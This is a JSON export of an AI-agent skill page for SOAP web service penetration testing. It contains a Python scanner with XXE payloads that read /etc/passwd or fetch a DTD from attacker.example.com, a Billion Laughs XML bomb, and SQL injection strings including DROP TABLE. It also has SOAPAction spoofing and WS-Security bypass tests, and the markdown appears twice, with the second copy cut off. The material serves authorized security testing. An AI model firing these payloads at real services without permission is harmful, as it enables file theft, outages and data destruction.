[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71GRHXHC21NP3A0KB88PT6C":3,"skill-same:01M71GRHXHC21NP3A0KB88PT6C":104},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":31,"publishedAt":52,"linkOnly":53,"markdownContent":54,"markdownBody":55,"frontMatter":56,"refName":77,"commitSha":78,"skillDirectory":79,"forksCount":14,"repositoryHtmlUrl":80,"repositoryHomepageUrl":6,"ownerHtmlUrl":81,"ownerBlogUrl":6,"ownerDescription":82,"updatedAt":83,"install":84,"resources":97},"01M71GRHXHC21NP3A0KB88PT6C","api-soap-bypass",null,"Perform security testing of SOAP web services by analyzing WSDL definitions and testing for XML injection, XXE, WS-Security bypass, and SOAPAction spoofing.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Fapi\u002Fsoap\u002Fbypass\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],"api","api soap bypass","soap","Security Testing","PS","Bash","cybersecurity","api-security","xpath-injection","testing","soapaction-spoofing","ws-security","xxe","xml-injection","wsdl","cm","for","web-services","pr","penetration","2026-11-10 10:12:30",false,"---\nname: api-soap-bypass\ndescription: Perform security testing of SOAP web services by analyzing WSDL definitions and testing for XML injection, XXE, WS-Security bypass, and SOAPAction spoofing.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- soap\n- web-services\n- wsdl\n- xml-injection\n- xxe\n- ws-security\n- penetration-testing\n- soapaction-spoofing\n- xpath-injection\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1190\ncwe:\n- CWE-611\n- CWE-643\n- CWE-91\ncapec: []\n---\n\n# Performing SOAP Web Service Security Testing\n\n## Overview\n\nSOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing soap web service security testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target SOAP web service endpoint URL\n- WSDL file or URL access for the service\n- SoapUI or ReadyAPI for structured testing\n- Burp Suite with SOAP extensions for interception\n- Python 3.8+ with zeep and lxml libraries\n- Authorization to perform security testing\n\n## Testing Methodology\n\n### Phase 1: WSDL Reconnaissance\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"SOAP Web Service Security Testing Tool\n\nAnalyzes WSDL definitions and tests SOAP endpoints for\ncommon vulnerabilities including XXE, injection, and\nWS-Security misconfigurations.\n\"\"\"\n\nimport requests\nimport xml.etree.ElementTree as ET\nfrom lxml import etree\nimport sys\nimport re\nfrom typing import List, Dict, Optional\nfrom dataclasses import dataclass\n\n@dataclass\nclass SOAPOperation:\n    name: str\n    action: str\n    input_message: str\n    output_message: str\n    parameters: List[Dict]\n\nclass SOAPSecurityTester:\n    NAMESPACES = {\n        'wsdl': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002F',\n        'soap': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap\u002F',\n        'soap12': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap12\u002F',\n        'xsd': 'http:\u002F\u002Fwww.w3.org\u002F2001\u002FXMLSchema',\n        'wsse': 'http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd',\n    }\n\n    def __init__(self, wsdl_url: str, endpoint_url: Optional[str] = None):\n        self.wsdl_url = wsdl_url\n        self.endpoint_url = endpoint_url\n        self.operations: List[SOAPOperation] = []\n        self.findings: List[dict] = []\n\n    def parse_wsdl(self) -> List[SOAPOperation]:\n        \"\"\"Parse WSDL to extract available operations and parameters.\"\"\"\n        response = requests.get(self.wsdl_url, timeout=30)\n        root = etree.fromstring(response.content)\n\n        # Extract endpoint URL if not provided\n        if not self.endpoint_url:\n            address = root.find('.\u002F\u002Fsoap:address', self.NAMESPACES)\n            if address is not None:\n                self.endpoint_url = address.get('location')\n\n        # Extract operations\n        for binding_op in root.findall('.\u002F\u002Fwsdl:binding\u002Fwsdl:operation', self.NAMESPACES):\n            name = binding_op.get('name')\n            soap_op = binding_op.find('soap:operation', self.NAMESPACES)\n            action = soap_op.get('soapAction', '') if soap_op is not None else ''\n\n            operation = SOAPOperation(\n                name=name,\n                action=action,\n                input_message=\"\",\n                output_message=\"\",\n                parameters=[]\n            )\n            self.operations.append(operation)\n\n        print(f\"[+] Found {len(self.operations)} SOAP operations\")\n        for op in self.operations:\n            print(f\"    - {op.name} (SOAPAction: {op.action})\")\n\n        return self.operations\n\n    def test_xxe_vulnerability(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test for XML External Entity (XXE) injection.\"\"\"\n        xxe_payloads = [\n            # Classic XXE - File read\n            {\n                \"name\": \"Classic XXE (file read)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&xxe;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # Blind XXE - Out-of-band\n            {\n                \"name\": \"Blind XXE (OOB)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker.example.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>test\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # XML Bomb (Billion Laughs)\n            {\n                \"name\": \"XML Bomb (Billion Laughs)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&lol4;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            }\n        ]\n\n        results = []\n        for xxe in xxe_payloads:\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=xxe[\"payload\"],\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=10\n                )\n\n                vulnerable = False\n                indicators = []\n\n                if \"root:\" in response.text or \"\u002Fbin\u002F\" in response.text:\n                    vulnerable = True\n                    indicators.append(\"File contents in response\")\n\n                if response.status_code == 200 and \"Fault\" not in response.text:\n                    indicators.append(\"No XML parsing error returned\")\n\n                if response.elapsed.total_seconds() > 5:\n                    indicators.append(\"Slow response (possible XML bomb)\")\n                    vulnerable = True\n\n                result = {\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": vulnerable,\n                    \"status_code\": response.status_code,\n                    \"response_time\": response.elapsed.total_seconds(),\n                    \"indicators\": indicators\n                }\n                results.append(result)\n\n                if vulnerable:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"XXE\",\n                        \"operation\": operation.name,\n                        \"details\": xxe[\"name\"]\n                    })\n\n            except requests.exceptions.Timeout:\n                results.append({\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": True,\n                    \"indicators\": [\"Request timed out - possible DoS via XML bomb\"]\n                })\n\n        return {\"operation\": operation.name, \"xxe_results\": results}\n\n    def test_sql_injection(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test SOAP parameters for SQL injection.\"\"\"\n        sqli_payloads = [\n            \"' OR '1'='1\",\n            \"1; DROP TABLE users--\",\n            \"1' UNION SELECT NULL,NULL,NULL--\",\n            \"' OR 1=1; WAITFOR DELAY '0:0:5'--\",\n            \"admin'\u002F*\",\n        ]\n\n        results = []\n        for payload in sqli_payloads:\n            soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>{payload}\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=soap_body,\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=15\n                )\n\n                sql_errors = [\n                    \"SQL syntax\", \"ORA-\", \"mysql_\", \"SQLSTATE\",\n                    \"Microsoft OLE DB\", \"Unclosed quotation mark\",\n                    \"syntax error\", \"PostgreSQL\"\n                ]\n                error_found = any(err in response.text for err in sql_errors)\n\n                if error_found:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"SQL Injection\",\n                        \"operation\": operation.name,\n                        \"details\": f\"SQL error triggered with: {payload[:30]}...\"\n                    })\n\n                results.append({\n                    \"payload\": payload,\n                    \"status_code\": response.status_code,\n                    \"sql_error_detected\": error_found,\n                    \"response_time\": response.elapsed.total_seconds()\n                })\n\n            except requests.exceptions.RequestException:\n                continue\n\n        return {\"operation\": operation.name, \"sqli_results\": results}\n\n    def test_soapaction_spoofing(self) -> dict:\n        \"\"\"Test for SOAPAction header spoofing vulnerability.\"\"\"\n        results = []\n\n        for i, operation in enumerate(self.operations):\n            for j, other_op in enumerate(self.operations):\n                if i == j:\n                    continue\n\n                # Send request with mismatched SOAPAction\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>test\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\n                            \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                            \"SOAPAction\": other_op.action,  # Wrong action\n                        },\n                        timeout=10\n                    )\n\n                    if response.status_code == 200 and \"Fault\" not in response.text:\n                        self.findings.append({\n                            \"severity\": \"HIGH\",\n                            \"type\": \"SOAPAction Spoofing\",\n                            \"operation\": operation.name,\n                            \"details\": f\"Accepted with SOAPAction of {other_op.name}\"\n                        })\n                        results.append({\n                            \"body_operation\": operation.name,\n                            \"spoofed_action\": other_op.action,\n                            \"accepted\": True\n                        })\n\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"spoofing_results\": results}\n\n    def test_ws_security_bypass(self) -> dict:\n        \"\"\"Test WS-Security token handling.\"\"\"\n        test_cases = [\n            {\n                \"name\": \"Missing WS-Security header\",\n                \"header\": \"\"\n            },\n            {\n                \"name\": \"Empty security token\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\">\n    \u003Cwsse:UsernameToken>\n      \u003Cwsse:Username>\u003C\u002Fwsse:Username>\n      \u003Cwsse:Password>\u003C\u002Fwsse:Password>\n    \u003C\u002Fwsse:UsernameToken>\n  \u003C\u002Fwsse:Security>'''\n            },\n            {\n                \"name\": \"Expired timestamp\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\"\n    xmlns:wsu=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-utility-1.0.xsd\">\n    \u003Cwsu:Timestamp>\n      \u003Cwsu:Created>2020-01-01T00:00:00Z\u003C\u002Fwsu:Created>\n      \u003Cwsu:Expires>2020-01-01T00:05:00Z\u003C\u002Fwsu:Expires>\n    \u003C\u002Fwsu:Timestamp>\n  \u003C\u002Fwsse:Security>'''\n            }\n        ]\n\n        results = []\n        for test in test_cases:\n            if self.operations:\n                operation = self.operations[0]\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Header>\n    {test[\"header\"]}\n  \u003C\u002Fsoapenv:Header>\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\u003Cparam>test\u003C\u002Fparam>\u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\"Content-Type\": \"text\u002Fxml; charset=utf-8\"},\n                        timeout=10\n                    )\n\n                    accepted = response.status_code == 200 and \"Fault\" not in response.text\n                    if accepted:\n                        self.findings.append({\n                            \"severity\": \"CRITICAL\",\n                            \"type\": \"WS-Security Bypass\",\n                            \"operation\": operation.name,\n                            \"details\": test[\"name\"]\n                        })\n\n                    results.append({\n                        \"test\": test[\"name\"],\n                        \"accepted\": accepted,\n                        \"status_code\": response.status_code\n                    })\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"ws_security_results\": results}\n\n    def generate_report(self) -> dict:\n        \"\"\"Generate comprehensive security assessment report.\"\"\"\n        return {\n            \"target\": self.endpoint_url,\n            \"wsdl\": self.wsdl_url,\n            \"operations_tested\": len(self.operations),\n            \"total_findings\": len(self.findings),\n            \"critical\": len([f for f in self.findings if f[\"severity\"] == \"CRITICAL\"]),\n            \"high\": len([f for f in self.findings if f[\"severity\"] == \"HIGH\"]),\n            \"findings\": self.findings\n        }\n\n\ndef main():\n    wsdl_url = sys.argv[1] if len(sys.argv) > 1 else \"http:\u002F\u002Flocalhost:8080\u002Fws?wsdl\"\n    tester = SOAPSecurityTester(wsdl_url)\n\n    print(f\"[*] Parsing WSDL: {wsdl_url}\")\n    operations = tester.parse_wsdl()\n\n    for op in operations:\n        print(f\"\\n[*] Testing operation: {op.name}\")\n        tester.test_xxe_vulnerability(op)\n        tester.test_sql_injection(op)\n\n    tester.test_soapaction_spoofing()\n    tester.test_ws_security_bypass()\n\n    report = tester.generate_report()\n    print(f\"\\n{'='*60}\")\n    print(f\"SOAP Security Assessment Report\")\n    print(f\"{'='*60}\")\n    print(f\"Target: {report['target']}\")\n    print(f\"Operations Tested: {report['operations_tested']}\")\n    print(f\"Findings: {report['total_findings']} \"\n          f\"(Critical: {report['critical']}, High: {report['high']})\")\n\n    for finding in report['findings']:\n        print(f\"\\n  [{finding['severity']}] {finding['type']}\")\n        print(f\"  Operation: {finding['operation']}\")\n        print(f\"  Details: {finding['details']}\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n## References\n\n- SecureLayer7 OWASP SOAP Pentesting: https:\u002F\u002Fblog.securelayer7.net\u002Fowasp-top-10-pentesting-mitigating-soap-service-risks\u002F\n- BrightSec SOAP Vulnerabilities: https:\u002F\u002Fbrightsec.com\u002Fblog\u002Ftop-7-soap-api-vulnerabilities\u002F\n- Levo.ai SOAP API Security Testing Guide: https:\u002F\u002Fwww.levo.ai\u002Fresources\u002Fblogs\u002Fsoap-api-security-testing\n- SoapUI Web Service Hacking: https:\u002F\u002Fwww.soapui.org\u002Fdocs\u002Fsoap-and-wsdl\u002Ftips-and-tricks\u002Fweb-service-hacking\u002F\n- PortSwigger XXE Tutorial: https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fxxe\n","# Performing SOAP Web Service Security Testing\n\n## Overview\n\nSOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing soap web service security testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target SOAP web service endpoint URL\n- WSDL file or URL access for the service\n- SoapUI or ReadyAPI for structured testing\n- Burp Suite with SOAP extensions for interception\n- Python 3.8+ with zeep and lxml libraries\n- Authorization to perform security testing\n\n## Testing Methodology\n\n### Phase 1: WSDL Reconnaissance\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"SOAP Web Service Security Testing Tool\n\nAnalyzes WSDL definitions and tests SOAP endpoints for\ncommon vulnerabilities including XXE, injection, and\nWS-Security misconfigurations.\n\"\"\"\n\nimport requests\nimport xml.etree.ElementTree as ET\nfrom lxml import etree\nimport sys\nimport re\nfrom typing import List, Dict, Optional\nfrom dataclasses import dataclass\n\n@dataclass\nclass SOAPOperation:\n    name: str\n    action: str\n    input_message: str\n    output_message: str\n    parameters: List[Dict]\n\nclass SOAPSecurityTester:\n    NAMESPACES = {\n        'wsdl': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002F',\n        'soap': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap\u002F',\n        'soap12': 'http:\u002F\u002Fschemas.xmlsoap.org\u002Fwsdl\u002Fsoap12\u002F',\n        'xsd': 'http:\u002F\u002Fwww.w3.org\u002F2001\u002FXMLSchema',\n        'wsse': 'http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd',\n    }\n\n    def __init__(self, wsdl_url: str, endpoint_url: Optional[str] = None):\n        self.wsdl_url = wsdl_url\n        self.endpoint_url = endpoint_url\n        self.operations: List[SOAPOperation] = []\n        self.findings: List[dict] = []\n\n    def parse_wsdl(self) -> List[SOAPOperation]:\n        \"\"\"Parse WSDL to extract available operations and parameters.\"\"\"\n        response = requests.get(self.wsdl_url, timeout=30)\n        root = etree.fromstring(response.content)\n\n        # Extract endpoint URL if not provided\n        if not self.endpoint_url:\n            address = root.find('.\u002F\u002Fsoap:address', self.NAMESPACES)\n            if address is not None:\n                self.endpoint_url = address.get('location')\n\n        # Extract operations\n        for binding_op in root.findall('.\u002F\u002Fwsdl:binding\u002Fwsdl:operation', self.NAMESPACES):\n            name = binding_op.get('name')\n            soap_op = binding_op.find('soap:operation', self.NAMESPACES)\n            action = soap_op.get('soapAction', '') if soap_op is not None else ''\n\n            operation = SOAPOperation(\n                name=name,\n                action=action,\n                input_message=\"\",\n                output_message=\"\",\n                parameters=[]\n            )\n            self.operations.append(operation)\n\n        print(f\"[+] Found {len(self.operations)} SOAP operations\")\n        for op in self.operations:\n            print(f\"    - {op.name} (SOAPAction: {op.action})\")\n\n        return self.operations\n\n    def test_xxe_vulnerability(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test for XML External Entity (XXE) injection.\"\"\"\n        xxe_payloads = [\n            # Classic XXE - File read\n            {\n                \"name\": \"Classic XXE (file read)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&xxe;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # Blind XXE - Out-of-band\n            {\n                \"name\": \"Blind XXE (OOB)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker.example.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>test\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            },\n            # XML Bomb (Billion Laughs)\n            {\n                \"name\": \"XML Bomb (Billion Laughs)\",\n                \"payload\": '''\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation}>&lol4;\u003C\u002F{operation}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''.format(operation=operation.name)\n            }\n        ]\n\n        results = []\n        for xxe in xxe_payloads:\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=xxe[\"payload\"],\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=10\n                )\n\n                vulnerable = False\n                indicators = []\n\n                if \"root:\" in response.text or \"\u002Fbin\u002F\" in response.text:\n                    vulnerable = True\n                    indicators.append(\"File contents in response\")\n\n                if response.status_code == 200 and \"Fault\" not in response.text:\n                    indicators.append(\"No XML parsing error returned\")\n\n                if response.elapsed.total_seconds() > 5:\n                    indicators.append(\"Slow response (possible XML bomb)\")\n                    vulnerable = True\n\n                result = {\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": vulnerable,\n                    \"status_code\": response.status_code,\n                    \"response_time\": response.elapsed.total_seconds(),\n                    \"indicators\": indicators\n                }\n                results.append(result)\n\n                if vulnerable:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"XXE\",\n                        \"operation\": operation.name,\n                        \"details\": xxe[\"name\"]\n                    })\n\n            except requests.exceptions.Timeout:\n                results.append({\n                    \"test\": xxe[\"name\"],\n                    \"vulnerable\": True,\n                    \"indicators\": [\"Request timed out - possible DoS via XML bomb\"]\n                })\n\n        return {\"operation\": operation.name, \"xxe_results\": results}\n\n    def test_sql_injection(self, operation: SOAPOperation) -> dict:\n        \"\"\"Test SOAP parameters for SQL injection.\"\"\"\n        sqli_payloads = [\n            \"' OR '1'='1\",\n            \"1; DROP TABLE users--\",\n            \"1' UNION SELECT NULL,NULL,NULL--\",\n            \"' OR 1=1; WAITFOR DELAY '0:0:5'--\",\n            \"admin'\u002F*\",\n        ]\n\n        results = []\n        for payload in sqli_payloads:\n            soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>{payload}\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n            try:\n                response = requests.post(\n                    self.endpoint_url,\n                    data=soap_body,\n                    headers={\n                        \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                        \"SOAPAction\": operation.action,\n                    },\n                    timeout=15\n                )\n\n                sql_errors = [\n                    \"SQL syntax\", \"ORA-\", \"mysql_\", \"SQLSTATE\",\n                    \"Microsoft OLE DB\", \"Unclosed quotation mark\",\n                    \"syntax error\", \"PostgreSQL\"\n                ]\n                error_found = any(err in response.text for err in sql_errors)\n\n                if error_found:\n                    self.findings.append({\n                        \"severity\": \"CRITICAL\",\n                        \"type\": \"SQL Injection\",\n                        \"operation\": operation.name,\n                        \"details\": f\"SQL error triggered with: {payload[:30]}...\"\n                    })\n\n                results.append({\n                    \"payload\": payload,\n                    \"status_code\": response.status_code,\n                    \"sql_error_detected\": error_found,\n                    \"response_time\": response.elapsed.total_seconds()\n                })\n\n            except requests.exceptions.RequestException:\n                continue\n\n        return {\"operation\": operation.name, \"sqli_results\": results}\n\n    def test_soapaction_spoofing(self) -> dict:\n        \"\"\"Test for SOAPAction header spoofing vulnerability.\"\"\"\n        results = []\n\n        for i, operation in enumerate(self.operations):\n            for j, other_op in enumerate(self.operations):\n                if i == j:\n                    continue\n\n                # Send request with mismatched SOAPAction\n                soap_body = f'''\u003Csoapenv:Envelope xmlns:soapenv=\"http:\u002F\u002Fschemas.xmlsoap.org\u002Fsoap\u002Fenvelope\u002F\">\n  \u003Csoapenv:Body>\n    \u003C{operation.name}>\n      \u003Cparam>test\u003C\u002Fparam>\n    \u003C\u002F{operation.name}>\n  \u003C\u002Fsoapenv:Body>\n\u003C\u002Fsoapenv:Envelope>'''\n\n                try:\n                    response = requests.post(\n                        self.endpoint_url,\n                        data=soap_body,\n                        headers={\n                            \"Content-Type\": \"text\u002Fxml; charset=utf-8\",\n                            \"SOAPAction\": other_op.action,  # Wrong action\n                        },\n                        timeout=10\n                    )\n\n                    if response.status_code == 200 and \"Fault\" not in response.text:\n                        self.findings.append({\n                            \"severity\": \"HIGH\",\n                            \"type\": \"SOAPAction Spoofing\",\n                            \"operation\": operation.name,\n                            \"details\": f\"Accepted with SOAPAction of {other_op.name}\"\n                        })\n                        results.append({\n                            \"body_operation\": operation.name,\n                            \"spoofed_action\": other_op.action,\n                            \"accepted\": True\n                        })\n\n                except requests.exceptions.RequestException:\n                    continue\n\n        return {\"spoofing_results\": results}\n\n    def test_ws_security_bypass(self) -> dict:\n        \"\"\"Test WS-Security token handling.\"\"\"\n        test_cases = [\n            {\n                \"name\": \"Missing WS-Security header\",\n                \"header\": \"\"\n            },\n            {\n                \"name\": \"Empty security token\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\">\n    \u003Cwsse:UsernameToken>\n      \u003Cwsse:Username>\u003C\u002Fwsse:Username>\n      \u003Cwsse:Password>\u003C\u002Fwsse:Password>\n    \u003C\u002Fwsse:UsernameToken>\n  \u003C\u002Fwsse:Security>'''\n            },\n            {\n                \"name\": \"Expired timestamp\",\n                \"header\": '''\u003Cwsse:Security xmlns:wsse=\"http:\u002F\u002Fdocs.oasis-open.org\u002Fwss\u002F2004\u002F01\u002Foasis-200401-wss-wssecurity-secext-1.0.xsd\"\n    